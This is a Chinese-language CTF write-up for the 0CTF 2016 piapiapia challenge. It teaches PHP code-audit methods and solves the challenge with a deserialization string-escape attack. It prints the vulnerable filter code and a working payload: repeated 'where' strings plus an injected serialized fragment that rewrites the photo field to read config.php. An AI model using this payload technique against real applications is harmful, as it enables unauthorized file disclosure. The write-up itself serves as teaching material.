作者:kee1ongz
I.前言
目前,CTF赛事中关于代码审计的题目,已经从一开始的简单函数trick、逻辑绕过逐渐向框架分析、0day改编甚至新出0day(2020WMCTF)过渡。这类题目具有文件多,代码量大复杂的特点,难以下手。以PHP为例,Thinkphp,Laravel,typecho等框架/CMS(甚至包括一些运维工具,例如WMCTF中涉及到了宝塔)都已经沦为出题点。
实际上,如果单看题目考察的知识点,一般都不是很难。解不出来的原因,通常为:无法准确定位触发点/看不太懂/代码量太大劝退。本文以初学者的角度,通过一道审计类CTF题目,来谈一谈如何上手审计类题目/顺带复习反序列化的trick。
II.例题:[0CTF 2016]piapiapia
先来看一下题目。一个登录界面,尝试SQL注入,无果。
![104f2240732be9451d02de86663def8b.png](https://i-blog.csdnimg.cn/blog_migrate/2b8a2925f2339e586a4602b4a388a214.png)
通过扫目录工具(dirsearch/御剑)等,发现www.zip。存在源码泄露。解压后如下:
![a5415e6d13d44e67eb9d83d201608c0b.png](https://i-blog.csdnimg.cn/blog_migrate/0b0306faf68b7de588fa557bfb91cf58.jpeg)
这里基本可以确定是一道审计题目了。
P1:确定入口点:利用审计工具
这里用vscode打开该文件夹,再来看一下目录结构:
![110a2c7c459143a036c929e475a0616c.png](https://i-blog.csdnimg.cn/blog_migrate/5e75838729879297d3b870c385f1ada2.png)
如果是学过PHP开发的同学可能很熟悉这种布局:全局config+class,其他页面调用。
首先说一下,代码审计的几个入手点(刚学没几天,不全面勿喷):
1.找到入口点,逐个突破
顾名思义,对于大多数页面,我们可以找到站点入口页面:index.php,admin.php,login.php等。逐一步进来分析。对于代码量小的源码可以采取这种方式。但当分析完整的框架/CMS时,基本可以gg。
2.危险函数/参数回溯法
最常用的审计(挖洞)方法。需要结合一些工具(例如:Xdebug+各类IDE)。通过部署环境——全局通扫危险函数/敏感参数——下断点/手动回溯——寻找是否存在利用链。这种方法可以快速定位潜在漏洞点上下文。
假如我们通扫到shell_exec,call_user_function,sql_query,eval这些喜闻乐见的函数,就可以定位到此处,然后回溯来推出是否存在利用链。
3.业务逻辑分析法
其实在做CTF的题目时候,我们都在使用这种方法。
存在登录框:是否存在SQL注入
存在登录/注册功能:是否存在二次注入
存在上传页面:是否存在上传
存在传URL参:是否存在SSRF
……
对于大的CMS,可以先部署完后,看一下存在什么功能。某些功能是漏洞的常客:初始安装(脱库),数据库备份(mysql重装getshell),密码找回(越权)等等。
P1.1 关注敏感页面
其实这类页面一般都是配置页面:config.php,conn.php,sql.php一类的。
我们关注一下config.php,发现存在变量$flag.
![98dc6a2a4faf6591f6bee8e2f1ec185e.png](https://i-blog.csdnimg.cn/blog_migrate/3de018e1c5e105fed09432fb2d707b6b.png)
那么这道题的最终目的就是读到config.php。从而获得flag。
P1.2 寻找敏感函数/参数
这里简单看一下各个页面的代码。发现其实是纸老虎:最多的class.php也不过100行。其他的页面包括前端也就60,70行。
对于这种多页面/各个页面代码量较少的源码,在比赛这种追求效率的场景,不要多想。直接上工具。实际上我们的思路就是上述提到的方法中的第二条,通过审计工具通扫源码——找到潜在漏洞点——回溯上下文,寻找利用链。
这里使用Seay 2.1,虽然好久不更新了,不过依旧是初级代码审计的神器。自动审计一下,结果如下:
![01cbe07d15fd145312a85a6c13aff9ff.png](https://i-blog.csdnimg.cn/blog_migrate/a698c466e186b157c13aa7e6a7a6f666.png)
注意一下本题的最终目的:读取config.php。这正好与第三条的描述不谋而合:
![88b09155281d94952716b1dfce647547.png](https://i-blog.csdnimg.cn/blog_migrate/1f650be5bfb41a7d68cd8ee2fcc1f173.png)
那么我们就可以认为此处是潜在漏洞点,下面开始回溯。
P2 回溯——推出利用链
P2.1 利用链终点——profile.php
根据审计结果,在源码中定位到对应位置:
![136e4eaec12243c74ec36723383182d3.png](https://i-blog.csdnimg.cn/blog_migrate/ad8007f24d8a2795c7f94e3b36f8e2fa.jpeg)
可以看一下这一段的逻辑:
根据登录的用户名去执行class.php中的show_profile函数,得到序列化数组$profile
--->
$profile经过一次反序列化
--->
成为了键值数组
--->
读取该数组,根据键名给对应变量赋值
这里先来看一下class.php的show_profile函数,分析请见注释:
<?php
require('config.php');
class user extends mysql{ //该类继承于mysql类(在下面)
private $table = 'users';
public function show_profile($username) { //接受参数:用户名
$username = parent::filter($username);
//首先调用父类(mysql)中的filter过滤一哈
$where = "username = '$username'";
//拼接成SQL参数,调用mysql类中的select函数,并将结果(为数组形式)中的profile键取出作为返回值。
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql { //user的父类
private $link = null;
......
public function select($table, $where, $ret = '*') { //查库函数
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);//将查询结果作为键值数组返回
}
public function filter($string) { //过滤函数,后面详细说明。本题关键
$escape = array(''', '');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
先不管class.php。我们根据上述分析,得到最关键的信息是:
$profile的photo键值会被当做文件名由file_get_contents读取,然后经过base64转码输出
这就是利用链的终点。
P2.2 关键页面——update.php
那么继续回推,序列化的$profile
在哪里可以得到呢?
我这里的思路是,全局搜索序列化函数的关键字serialize,来找到哪里发生了序列化操作:
![f35870bf6d0b57efcdf51f72f249ed18.png](https://i-blog.csdnimg.cn/blog_migrate/82c82005809fa97516e2402fea79d25d.png)
除去$profile.php
以外,发现update.php
中存在序列化函数:
![aa506f5a04236aee5eac6d2ac73ddf02.png](https://i-blog.csdnimg.cn/blog_migrate/3e7da6955f25b006f6664466acb75d98.jpeg)
这里结合整个update.php
页面来说下逻辑:
1.该页面可以修改用户的phone,email,nickname与photo
![c8f2a95086c8d4a0e93eaeb18cf6117b.png](https://i-blog.csdnimg.cn/blog_migrate/b4270fc43b696b68cb18cd0a8429d26d.jpeg)
2.会对传过来的参数经过一系列过滤,之后将其序列化。将其与用户名$username
作为class.php
的update_profile
的参数传入,之后跳转到profile.php
:
![387510978dae25e750101bc307d2d788.png](https://i-blog.csdnimg.cn/blog_migrate/3a84d42befdc636ca5c7b93374a7cc14.jpeg)
3.同样,来看一下update_profile函数
public function update_profile($username, $new_profile) {
$username = parent::filter($username); //过滤
$new_profile = parent::filter($new_profile); //过滤
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}//调用update函数
//mysql类
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);//很简单的逻辑,正常传参执行sql语句
}
public function filter($string) { //过滤函数
$escape = array(''', '');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
看来构造序列化的关键就在update.php
页面了。
但由上可知,在此之前,我们首先得是一个用户。那么register.php
和index.php
的作用就不言而喻了。分别是注册页面和登录页面,注册登陆后我们才可以访问profile.php
:
![c969ba1d59c3ac4b499e209164c16375.png](https://i-blog.csdnimg.cn/blog_migrate/5334e997fa11fccd2a23235607c090cb.jpeg)
![a2653f6404c56849fb3a74d9cad7aeb3.png](https://i-blog.csdnimg.cn/blog_migrate/6276c4fba6af753b3e43ee9d43418660.jpeg)
到此为止,我们算是理清了整个网站的逻辑:
注册:register.php
---->
登录:index.php
----->
修改个人资料:update.php
----->
展示个人资料:profile.php
而且发现了一条潜在的利用链:
注册登录后,访问update.php
--->
使得photo的内容变为config.php
--->
经profile.php中的反序列化,文件读取获得flag
当然,这条链上还要解决很多问题。
不过目前为止,我们的初步审计可以算是告一段落了。
P3 分析&求解
先来梳理一下当前的存在的几个困难:
P3.1 $profile['photo']不可控
在update.php
中可以发现,photo键值将上传的图片名进行一次MD5,然后拼接。
$profile['photo'] = 'upload/' . md5($file['name']);
看上去想把这个改成config.php
直接GG了,这个就是本题的考点了——反序列化逃逸,难度并不大。
算是很经典的考点。详细可以参考之前的两篇WP:[安洵杯 2019]easy_serialize_php和安恒月赛[DASCTF安恒月赛]Web1-反序列化字符串逃逸。(题外话:目前图壳由于某些原因正在被安排,图片暂时无法显示,烦人,还不知道能不能恢复。)
原理就一句话: PHP 在反序列化时,是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),且根据长度判断内容。
虽然photo控制不了,但是name,email和nickname我们都是可控的。其中nickname作为photo键的前一个键,便是构造逃逸的入手点。
P3.2 对于nickname的过滤
![298770811ed05f794901d1d2773ca1ae.png](https://i-blog.csdnimg.cn/blog_migrate/aba240893eaa9e76cf0d9534cf9d2cae.jpeg)
然而页面对我们输入的还是存在一些过滤限制的。注意看photo键值前面的nickname键值,他的逻辑判断很有意思:长度>10或由大小写字母和数字构成就会直接die掉。
这个过滤方法也是老trick了。传一个数组参数即可通杀。即nickname[];
P3.3 由filter函数引发的逃逸
本题最为精彩的地方就在这里。
前面提到,在update的时候,会调用class.php中的过滤函数:
$new_profile = parent::filter($new_profile); //过滤
//mysql类
public function filter($string) { //过滤函数
$escape = array(''', '');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
第一个逻辑会把反斜杠替换为_,第二个逻辑会把关键字替换成hacker。因为$new_profile是经过序列化后才过滤的,这就会引起长度的变化。
来模拟一下这个逻辑,这里已经给nickname变为数组。
<?php
$profile['phone'] = '1234567789';
$profile['email'] = 'hjnb@126.com';
$profile['nickname'][] = 'where';
$profile['photo'] = 'upload/' . md5('hello.png');
echo serialize($profile);
没有经过filter
的时候,结果如下:
a:4:{s:5:"phone";s:10:"1234567789";s:5:"email";s:12:"hjnb@126.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:39:"upload/69b1510906ccacbb9363690cbb4bd257";}
现在加上过滤函数,
<?php
$profile['phone'] = '1234567789';
$profile['email'] = 'hjnb@126.com';
$profile['nickname'][] = 'where';
$profile['photo'] = 'upload/' . md5('hello.png');
//echo serialize($profile);
echo filter(serialize($profile));
function filter($string) {
$escape = array(''', '');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
结果如下:
a:4:{s:5:"phone";s:10:"1234567789";s:5:"email";s:12:"hjnb@126.com";s:8:"nickname";a:1:{i:0;s:5:"hacker";}s:5:"photo";s:39:"upload/69b1510906ccacbb9363690cbb4bd257";}
这里就与之前的序列化结果有一些微妙的不同了,可以看到nickname中的where被替换成了hacker。但是序列化数组中显示的长度仍为5
s:5:"hacker"
这就给逃逸制造了可能。
先来看看逃逸成功的序列化字符串:
a:4:{s:5:"phone";s:10:"1234567789";s:5:"email";s:12:"hjnb@126.com";s:8:"nickname";a:1:{i:0;s:5:"hjznb";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/69b1510906ccacbb9363690cbb4bd257";}
对于该字符串,序列化部分在s:10:"config.php";}";}
就结束了。后续的都被抛弃。验证如下,可以看到photo键值已经变成了config.php:
![f3e566856369c27a9ef301cca0ac80cb.png](https://i-blog.csdnimg.cn/blog_migrate/2fad355b67d553d14506f16fcb975b5d.jpeg)
如何实现这个序列化字符串呢?换句话说,如何让";}s:5:"photo";s:10:"config.php";}不是nickname的键值呢?
这就用到了上面的filter函数。它可以在不改变键值长度的基础上扩大原本键值的长度。
(where ---> hacker,长度+1)
而";}s:5:"photo";s:10:"config.php";}
的长度为34
![c2581ea9b3d566e3cbe725b3e778bd26.png](https://i-blog.csdnimg.cn/blog_migrate/4dae999dcf89af2303ac9d23a39a9bb1.png)
那么我们只需要34个where即可逃逸成功,如下图所示。因为键值的长度(小红圈部分)没有发生改变。而经过filter后,原键值的长度+了34。那么再经过反序列化的时候,就会取最先的204个字符(也就是34个hacker)作为键值。而后面34个字符(也就是;}s:5:"photo";s:10:"config.php";})则逃逸成功,不作为nickname键值的一部分。
这34个字符,最开始的;}
闭合了nickname键,后面的s:5:"photo";s:10:"config.php";}
被当作photo键解析并闭合(大红圈部分)。原有的photo的键则因为闭合而被直接无视。
这样就成功使得photo键值变为了config.php.
![12aa851dbac6002e05b76a63b869e022.png](https://i-blog.csdnimg.cn/blog_migrate/d923683df50f7694a3abb13c5c552533.jpeg)
至此,这道题目的难点已经算是拿下了。下面就是实践得解了。
P3.4 解题步骤
首先访问register.php,来注册一个账号:
![5bf7dd74288ee1594a11eb532a1b44d6.png](https://i-blog.csdnimg.cn/blog_migrate/232c95a215a5e57229efa5dd9203cc3d.png)
之后登录,定位到了update.php页面:
![15672e709470178cdcf88e0830be90ff.png](https://i-blog.csdnimg.cn/blog_migrate/508324d7ad9c5678336944ba0609374a.jpeg)
按规则填写后,抓个包:
![0e18170f7dc13adc9d48ebe44deda144.png](https://i-blog.csdnimg.cn/blog_migrate/c7fba2a54638a6d4808662093dea12bb.jpeg)
将POST的变量名nickname改成数组形式:nickname[]
,并将上面的payload作为参数传入:
nickname[]
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
![b6ceee8ba4b6ca77bdafbd25a99dd171.png](https://i-blog.csdnimg.cn/blog_migrate/9ad375952d698fd68629830ca19ed1df.png)
修改后直接Forward包,提示我们上传成功:
![8f31e4f9b867dd5813dd9dce7f775e60.png](https://i-blog.csdnimg.cn/blog_migrate/7f5eda5d509f3ade72704d529b448376.jpeg)
点击链接来到profile.php。F12看源码,将img标签中的base64解码:
![cf25bf526c0e5c73ff55bf8857abc4ad.png](https://i-blog.csdnimg.cn/blog_migrate/7a888bfb0625f54113631f44c2877d36.jpeg)
即可成功读取config.php,拿到flag:
![b9720ceddcff41e3e67f38b87ee1a1d7.png](https://i-blog.csdnimg.cn/blog_migrate/eb58d30ce2ec6a4951e59d9f52586825.png)
III.总结
审计相关:
代码审计的几种思路?
代码审计所需要的一些工具?
如何定位潜在漏洞点?
如何利用回溯推出利用链?
题目考点相关:
什么是序列化字符逃逸?
序列化字符逃逸的bypass思路一般是什么?
如何构造逃逸bypass姿势?